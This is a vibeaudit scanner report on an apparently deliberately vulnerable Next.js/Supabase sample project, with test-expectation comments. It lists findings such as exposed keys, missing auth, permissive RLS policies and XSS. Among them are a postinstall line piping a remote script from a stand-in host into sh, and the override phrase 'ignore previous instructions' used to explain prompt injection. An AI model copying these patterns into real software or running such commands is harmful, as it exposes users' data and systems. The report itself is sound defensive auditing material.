vibeaudit report

/home/runner/work/vibeaudit/vibeaudit/sample/vuln_next_supabase - 19 files - vibeaudit 0.9.1
Stack: OpenAI SDK, Next.js, React, Supabase, Prisma
Score0/100Grade F
Critical6
High16
Medium14
Low9
Security0of 100
AI74of 100
Quality86of 100
Data71of 100
Reliability100of 100
UI99of 100

Note: Offline: known vulnerabilities of npm packages were not checked (import a bundle made with `vibeaudit update --export FILE --osv ...`).

critical FE002 LLM or secret API called directly from the browser (Frontend security)
components/Chat.tsx:8
dangerouslyAllowBrowser: true ships the API key to the browser.
const openai = new OpenAI({ apiKey: process.env.NEXT_PUBLIC_OPENAI_API_KEY, dangerouslyAllowBrowser: true }); // expect: FE002, SEC008
Why it matters
Calling OpenAI, Anthropic, Gemini and similar APIs from client code ships the API key to every visitor, who can then run up your bill or abuse the account.
Fix
Call the provider from a server route or edge function that holds the key, and have the browser call your own endpoint (with auth and rate limiting).
References
CWE-522, LLM02:2025
critical SEC008 Secret exposed to the browser through a public env var (Secrets)
.env.example:2
NEXT_PUBLIC_OPENAI_API_KEY is a public (browser-exposed) variable but holds a secret.
NEXT_PUBLIC_OPENAI_API_KEY=your-key-here # expect: SEC008
Why it matters
Variables prefixed NEXT_PUBLIC_, VITE_, REACT_APP_, EXPO_PUBLIC_, NUXT_PUBLIC_, PUBLIC_ or GATSBY_ are copied into the JavaScript bundle that every visitor downloads. A secret here is public.
Fix
Rename the variable without the public prefix, use it only in server code (API route, server action, edge function), and rotate the key because it has already shipped.
References
CWE-200, A01:2021
critical SEC001 Hardcoded API key or access token (Secrets)
.env.local:1
OpenAI API key committed in source.
NEXT_PUBLIC_OPENAI_API_KEY=sk-p************mN # expect: SEC001, SEC008
Why it matters
A real credential is committed in source. Anyone with read access to the repo, a fork, a build log or the shipped bundle can use it, and bots scrape public repos for keys within minutes.
Fix
Revoke and rotate the key now (deleting it from the file does not remove it from git history). Load it from an environment variable or a secret manager on the server only.
References
CWE-798, A07:2021
critical SEC008 Secret exposed to the browser through a public env var (Secrets)
.env.local:1
NEXT_PUBLIC_OPENAI_API_KEY is a public (browser-exposed) variable but holds a secret.
NEXT_PUBLIC_OPENAI_API_KEY=sk-proj-5fG7hJ9kL2mN4pQ6rS8tUaB3dE5fG7hJ9kL2mN4pQ6rS8tUaB3dE5fG7hJ9kL2mN # expect: SEC001, SEC008
Why it matters
Variables prefixed NEXT_PUBLIC_, VITE_, REACT_APP_, EXPO_PUBLIC_, NUXT_PUBLIC_, PUBLIC_ or GATSBY_ are copied into the JavaScript bundle that every visitor downloads. A secret here is public.
Fix
Rename the variable without the public prefix, use it only in server code (API route, server action, edge function), and rotate the key because it has already shipped.
References
CWE-200, A01:2021
critical SEC009 Supabase service_role key outside the server (Secrets)
.env.local:2
Supabase service_role JWT committed in source.
SUPABASE_SERVICE_ROLE_KEY=eyJh************ZQ # expect: SEC009
Why it matters
The service_role key bypasses every Row Level Security policy. In client code or the repo it gives anyone full read and write access to the whole database.
Fix
Use only the anon key in the browser. Keep service_role in server-only env vars, rotate it in the Supabase dashboard, and move privileged queries to an API route or edge function.
References
CWE-798, A01:2021
critical SEC008 Secret exposed to the browser through a public env var (Secrets)
components/Chat.tsx:8
NEXT_PUBLIC_OPENAI_API_KEY is a public (browser-exposed) variable but holds a secret.
const openai = new OpenAI({ apiKey: process.env.NEXT_PUBLIC_OPENAI_API_KEY, dangerouslyAllowBrowser: true }); // expect: FE002, SEC008
Why it matters
Variables prefixed NEXT_PUBLIC_, VITE_, REACT_APP_, EXPO_PUBLIC_, NUXT_PUBLIC_, PUBLIC_ or GATSBY_ are copied into the JavaScript bundle that every visitor downloads. A secret here is public.
Fix
Rename the variable without the public prefix, use it only in server code (API route, server action, edge function), and rotate the key because it has already shipped.
References
CWE-200, A01:2021
high AUTH001 State-changing endpoint without authentication (Authentication and authorization)
app/actions.ts:4
POST server action deletePost has no authentication check.
export async function deletePost(id: string) { // expect: AUTH001
Why it matters
This endpoint creates, changes or deletes data but no authentication check was found, so anyone on the internet can call it directly, whatever the UI shows.
Fix
Require a verified session or token in the handler (or in middleware that covers it). If the endpoint is meant to be public, add rate limiting and suppress the finding with a comment.
References
CWE-306, A01:2021
high AUTH002 Admin endpoint without a role check (Authentication and authorization)
app/api/admin/users/route.ts:5
DELETE /api/admin/users has no authentication or role check.
export async function DELETE(req: Request) { // expect: AUTH002
Why it matters
An /admin route that only checks that a user is logged in (or nothing at all) lets any user act as an administrator.
Fix
Check the user's role from the server-side session or database in the handler or middleware.
References
CWE-285, A01:2021
high AUTH001 State-changing endpoint without authentication (Authentication and authorization)
app/api/chat/route.ts:5
POST /api/chat has no authentication check.
export async function POST(req: Request) { // expect: AUTH001, LLM004, BE018
Why it matters
This endpoint creates, changes or deletes data but no authentication check was found, so anyone on the internet can call it directly, whatever the UI shows.
Fix
Require a verified session or token in the handler (or in middleware that covers it). If the endpoint is meant to be public, add rate limiting and suppress the finding with a comment.
References
CWE-306, A01:2021
high AUTH004 Webhook without signature verification (Authentication and authorization)
app/api/stripe/webhook/route.ts:1
Webhook /api/stripe/webhook does not verify the sender's signature.
export async function POST(req: Request) { // expect: AUTH004
Why it matters
Without verifying the provider's signature anyone can post fake events, for example marking an order as paid.
Fix
Verify the signature with the provider SDK (stripe.webhooks.constructEvent, svix, hmac compare) using the raw request body.
References
CWE-345, A08:2021
high AUTH006 Permissive Supabase policy (Authentication and authorization)
supabase/migrations/001_init.sql:6
Policy on public.profiles allows UPDATE for every row (true).
create policy "anyone can update" on public.profiles for update using (true); -- expect: AUTH006
Why it matters
A policy with `using (true)` or `with check (true)` for writes lets every user modify every row.
Fix
Scope the policy, for example `using (auth.uid() = user_id)`.
References
CWE-284, A01:2021
high AUTH005 Supabase table without Row Level Security (Authentication and authorization)
supabase/migrations/001_init.sql:8
Table public.orders is created without enabling Row Level Security.
create table public.orders ( -- expect: AUTH005
Why it matters
With RLS off, the public anon key (which ships in every Supabase frontend) can read and write the entire table.
Fix
Run `alter table <name> enable row level security;` and add policies that scope rows to `auth.uid()`.
References
CWE-284, A01:2021
high BE009 Mass assignment (Backend security)
app/api/profile/[id]/route.ts:8
Request data flows into a database write of the whole request body.
await db.profile.update({ where: { id: params.id }, data: body }); // expect: BE009
Why it matters
The whole request body is written into a database model, so a user can set fields like `role`, `is_admin` or `credits` by adding them to the request.
Fix
Copy only the allowed fields explicitly, or validate with a schema that whitelists fields.
References
CWE-915, A04:2021
high DATA002 Whole user record returned to the client (Data and database)
app/api/orders/route.ts:13
The whole `user` record (including password hashes or tokens) is returned without selecting fields.
const user = await prisma.user.findUnique({ where: { id: session.userId } }); // expect: DATA002
Why it matters
Returning the full user or account row sends every column to the browser, including password hashes, reset tokens, Stripe ids and other private fields.
Fix
Select only the fields the client needs (Prisma `select`, Mongoose projection, a response schema).
References
CWE-213, A01:2021
high DATA005 Private table readable by everyone (Data and database)
supabase/migrations/002_messages.sql:7
Everyone (including anonymous visitors) can read every row of `public.messages`.
create policy "read all" on public.messages for select using (true); -- expect: DATA005
Why it matters
A Supabase policy `for select using (true)` on a table that holds users, orders, messages or keys lets anyone with the public anon key read every row.
Fix
Scope the policy to the owner, for example `using (auth.uid() = user_id)`, or to `authenticated`.
References
CWE-284, A01:2021
high FE003 Authorization state kept in browser storage (Frontend security)
components/Chat.tsx:20
Authorization state is read from or written to browser storage.
localStorage.setItem("isAdmin", "false"); // expect: FE003
Why it matters
Roles, admin flags or plan limits read from localStorage/sessionStorage can be edited by any user in the dev tools.
Fix
Decide permissions on the server from the verified session, and treat client-side checks as display only.
References
CWE-602, A01:2021
high LLM004 LLM endpoint without rate limiting (LLM and AI-specific risks)
app/api/chat/route.ts:5
/api/chat calls a model and the project has no rate limiting.
export async function POST(req: Request) { // expect: AUTH001, LLM004, BE018
Why it matters
Anyone can call this endpoint in a loop and spend your model budget (denial of wallet), or use your app as a free LLM proxy.
Fix
Require auth and add per-user and per-IP rate limits and a spending cap on the provider account.
References
CWE-770, LLM10:2025
high LLM001 Untrusted input placed in the system prompt (LLM and AI-specific risks)
app/api/chat/route.ts:10
Request data is interpolated into the system prompt.
{ role: "system", content: `You are a support bot. The customer says: ${message}` }, // expect: LLM001
Why it matters
User text inside the system prompt gets system-level authority, which makes prompt injection trivial ("ignore previous instructions...").
Fix
Keep the system prompt constant. Put user content in a separate user message, clearly delimited, and never grant extra privileges based on it.
References
CWE-77, LLM01:2025
high QA006 Import of a file or name that does not exist (Code quality and tests)
lib/payments.ts:3
Import `./stripe-helpers` does not resolve to a file in the project.
import { chargeCard } from "./stripe-helpers"; // expect: QA006
Why it matters
The code imports a local module, file or function that is not in the project. Assistants invent helper names that sound right; the app crashes on start-up or when that code path runs.
Fix
Create the missing module or function, or import the one that actually exists.
References
CWE-1164
high QA006 Import of a file or name that does not exist (Code quality and tests)
lib/payments.ts:4
`formatTax` is imported from `./format` but that file does not export it.
import { formatPrice, formatTax } from "./format"; // expect: QA006
Why it matters
The code imports a local module, file or function that is not in the project. Assistants invent helper names that sound right; the app crashes on start-up or when that code path runs.
Fix
Create the missing module or function, or import the one that actually exists.
References
CWE-1164
high DEP006 Install script downloads and runs remote code (Dependencies and supply chain)
package.json:6
`postinstall` script downloads and executes remote code.
"postinstall": "curl -s https://setup.example.com/install.sh | sh"
Why it matters
An npm lifecycle script fetches code from the network at install time, which bypasses lockfiles and review.
Fix
Remove the script or vendor the downloaded file with a checksum.
References
CWE-494, A08:2021
high DEP002 Package name looks like a typo of a popular package (Dependencies and supply chain)
package.json:15
`expresss` is one character away from the popular package `express`.
"expresss": "4.19.2",
Why it matters
Typosquatted packages copy a popular name with one character changed and ship malware in install scripts.
Fix
Check the spelling against the official package. If this is the package you meant, suppress the finding.
References
CWE-1357, A06:2021
medium AUTH003 Possible insecure direct object reference (IDOR) (Authentication and authorization)
app/api/profile/[id]/route.ts:4
PATCH /api/profile/[id] changes a record by id without checking that it belongs to the caller.
export async function PATCH(req: Request, { params }: { params: { id: string } }) { // expect: AUTH003
Why it matters
The handler changes a record by the id in the URL but never compares it with the current user, so any logged-in user can change anyone's data by changing the id.
Fix
Scope the query by owner (`where id = ? and user_id = current_user.id`) or check ownership before writing.
References
CWE-639, A01:2021
medium BE018 No server-side input validation (Backend security)
app/api/chat/route.ts:5
Request bodies are read without a server-side validation library. Validation exists only in browser code (components/Chat.tsx).
export async function POST(req: Request) { // expect: AUTH001, LLM004, BE018
Why it matters
The backend reads request bodies but no validation library is used on the server. Validation done only in the browser is bypassed by calling the API directly.
Fix
Validate every request body on the server with a schema (zod, valibot, joi, pydantic, marshmallow): types, lengths, ranges and allowed fields.
References
CWE-602, A04:2021
medium API002 Frontend calls an API route with the wrong method (Frontend-backend contracts)
lib/client.ts:6
GET `/api/orders` is sent, but app/api/orders/route.ts only handles POST.
return fetch("/api/orders"); // expect: API002
Why it matters
The route exists but does not accept this HTTP method, so the request fails with 405 (or reaches a different handler than intended).
Fix
Send the method the route handles, or add a handler for this method.
medium API001 Frontend calls an API path that no route handles (Frontend-backend contracts)
lib/client.ts:10
`/api/settings` is called here, but no route in the project handles it.
return fetch("/api/settings"); // expect: API001
Why it matters
The browser code requests a path that no backend route in this project serves, so the request always fails with 404: often a renamed route or a route the model forgot to write.
Fix
Create the route, or fix the path in the call.
medium DATA008 Database client created per request (Data and database)
app/api/orders/route.ts:7
A PrismaClient is created inside a function; each call opens new connections.
const prisma = new PrismaClient(); // expect: DATA008
Why it matters
Creating a client, pool or engine inside a handler opens new connections on every request and exhausts the database's connection limit under load.
Fix
Create one client at module level (and reuse it via globalThis in Next.js development).
References
CWE-400
medium DATA001 Database query inside a loop (N+1) (Data and database)
app/api/orders/route.ts:10
Database call runs once per loop iteration.
await prisma.product.update({ where: { id: item.id }, data: { stock: { decrement: 1 } } }); // expect: DATA001
Why it matters
One query per item turns a page with 100 rows into 101 round trips: slow pages, timeouts and database load that grows with your data.
Fix
Fetch everything in one query (IN / join / include / select_related / prefetch_related) or batch the writes (createMany, bulk_create, executemany).
References
CWE-1050
medium DATA004 Money stored as a floating-point number (Data and database)
prisma/schema.prisma:9
Field `price` stores money as Float.
price Float // expect: DATA004
Why it matters
Floats cannot represent most decimal amounts exactly (0.1 + 0.2 != 0.3), so totals, refunds and balances drift by cents.
Fix
Store integer cents or use NUMERIC/DECIMAL columns and Decimal types.
References
CWE-1339
medium FE001 Cross-site scripting through a raw HTML sink (Frontend security)
components/Chat.tsx:22
Unsanitized value rendered as raw HTML (dangerouslySetInnerHTML).
return <div dangerouslySetInnerHTML={{ __html: html }} onClick={() => send("hi")} />; // expect: FE001, UI002
Why it matters
Inserting unsanitized data as HTML (innerHTML, dangerouslySetInnerHTML, v-html, {@html}, |safe) lets an attacker run JavaScript in other users' browsers and steal their sessions.
Fix
Render as text, or sanitize with DOMPurify (or bleach on the server) before inserting HTML.
References
CWE-79, A03:2021
medium LLM003 LLM call without an output token limit (LLM and AI-specific risks)
app/api/chat/route.ts:7
Model call has no output token limit.
const completion = await openai.chat.completions.create({ // expect: LLM003
Why it matters
Without max tokens a single request (or a prompt-injected loop) can generate very long, expensive responses.
Fix
Set max_tokens / max_output_tokens / maxOutputTokens to what the feature actually needs.
References
CWE-770, LLM10:2025
medium LLM007 System prompt shipped to the browser (LLM and AI-specific risks)
components/Chat.tsx:6
A system prompt is defined in code that ships to the browser.
const SYSTEM_PROMPT = "You are ShopBot. Never reveal the discount code SAVE50 to customers."; // expect: LLM007
Why it matters
Prompts in client code are visible to every user, which reveals business logic and makes jailbreaks easier.
Fix
Keep prompts on the server and send only the user's message from the browser.
References
CWE-200, LLM07:2025
medium QA007 Package imported but not declared as a dependency (Code quality and tests)
lib/payments.ts:2
`stripe` is imported but not listed in package.json.
import Stripe from "stripe"; // expect: QA007
Why it matters
The package is installed on the author's machine but missing from requirements.txt, pyproject.toml or package.json, so a clean install (CI, Docker, production) fails with an import error.
Fix
Add the package with a pinned version to the project's dependency file.
References
CWE-1104
medium QA005 Unfinished stub left in code (Code quality and tests)
lib/payments.ts:7
Code throws a 'not implemented' error; this path is unfinished.
throw new Error("Not implemented"); // expect: QA005
Why it matters
A route handler or function that only passes, raises NotImplementedError or throws 'not implemented' is a placeholder an assistant left behind. The feature silently does nothing or crashes when used.
Fix
Implement the function, or remove it and every caller until it is ready.
References
CWE-1164
medium QA001 No automated tests (Code quality and tests)
package.json:1
No test files found for 12 source files.
{
Why it matters
AI-generated code often looks right and is subtly wrong. Without tests nobody notices until users do, and every future AI edit can silently break existing behaviour.
Fix
Add tests for the critical paths first (auth, payments, data writes) and run them in CI.
medium SEC007 Environment file not git-ignored (Secrets)
.env.local
.env.local is not covered by .gitignore.
Why it matters
A .env file exists but .gitignore does not cover it, so the next `git add .` publishes every secret.
Fix
Add `.env*` and `!.env.example` to .gitignore.
References
CWE-538, A05:2021
low DATA010 Several writes without a transaction (Data and database)
app/api/orders/route.ts:4
POST /api/orders makes several writes without a transaction.
export async function POST(req: Request) { // expect: DATA010
Why it matters
When one of several related writes fails halfway (for example charge recorded but order not created), the data is left inconsistent.
Fix
Wrap related writes in a transaction (prisma.$transaction, db.transaction, BEGIN/COMMIT).
References
CWE-662
low DATA007 Environment variable missing from the example env file (Data and database)
app/api/orders/route.ts:14
`STRIPE_PRICE_ID` is read from the environment but is not in .env.example.
return Response.json({ user, plan: process.env.STRIPE_PRICE_ID }); // expect: DATA007
Why it matters
The code reads a variable that .env.example does not document, so the next deploy or teammate setup crashes or silently runs with a missing setting.
Fix
Add the variable (with a placeholder value) to .env.example.
low DATA012 Foreign key without an index (Data and database)
supabase/migrations/001_init.sql:10
Foreign key `orders.user_id` has no index: deletes in the referenced table scan `orders` and lock it.
user_id uuid references auth.users, -- expect: DATA012
Why it matters
Postgres does not index foreign key columns. Every delete or key update in the referenced table, and every join on the key, scans the referencing table; with ON DELETE CASCADE it also locks it.
Fix
Add an index on the foreign key column, for example `CREATE INDEX ON orders (user_id)`.
References
CWE-1050
low DATA006 Timestamp without time zone (Data and database)
supabase/migrations/002_messages.sql:4
Column `created_at` is a timestamp without time zone.
created_at timestamp default now() -- expect: DATA006
Why it matters
Naive datetimes and `timestamp without time zone` columns silently mix local and UTC times, which breaks expiry checks, schedules and reports across regions and daylight saving.
Fix
Use timezone-aware values: `datetime.now(timezone.utc)` and `timestamptz` columns.
low DATA003 Destructive database migration (Data and database)
supabase/migrations/002_messages.sql:8
Migration runs `DROP COLUMN`, which destroys data irreversibly.
alter table public.profiles drop column role; -- expect: DATA003
Why it matters
DROP TABLE, DROP COLUMN, TRUNCATE and column type changes destroy data and can lock big tables.
Fix
Back up first, deploy in steps (stop writing, copy, then drop) and keep a down migration.
low QA008 TypeScript checking disabled for a whole file (Code quality and tests)
lib/payments.ts:1
TypeScript type checking is disabled for this whole file.
// @ts-nocheck (expect: QA008)
Why it matters
`// @ts-nocheck` hides every type error in the file, including the ones that would catch broken AI edits.
Fix
Remove @ts-nocheck and fix or narrowly suppress the individual errors.
low QA002 No continuous integration (Code quality and tests)
package.json:1
No CI configuration found.
{
Why it matters
Without CI, tests and security checks only run when someone remembers to run them.
Fix
Add a CI workflow (for example GitHub Actions) that runs tests and `vibeaudit scan` on every push.
low DEP005 Dependencies are not locked (Dependencies and supply chain)
package.json:1
package.json has dependencies but no lockfile is committed.
{
Why it matters
Without a lockfile or pinned versions every install can pull a different, possibly compromised, version.
Fix
Commit a lockfile (package-lock.json, pnpm-lock.yaml, yarn.lock, uv.lock, poetry.lock) or pin exact versions in requirements.txt.
References
CWE-1357, A08:2021
low UI002 Click handler on a non-interactive element (UI, UX and accessibility)
components/Chat.tsx:22
<div onClick> cannot be reached or used with the keyboard.
return <div dangerouslySetInnerHTML={{ __html: html }} onClick={() => send("hi")} />; // expect: FE001, UI002
Why it matters
A div or span with onClick cannot be focused or triggered with the keyboard, so keyboard and screen-reader users cannot use it.
Fix
Use a <button> (or <a> for navigation); otherwise add role, tabIndex and an onKeyDown handler.
References
CWE-1078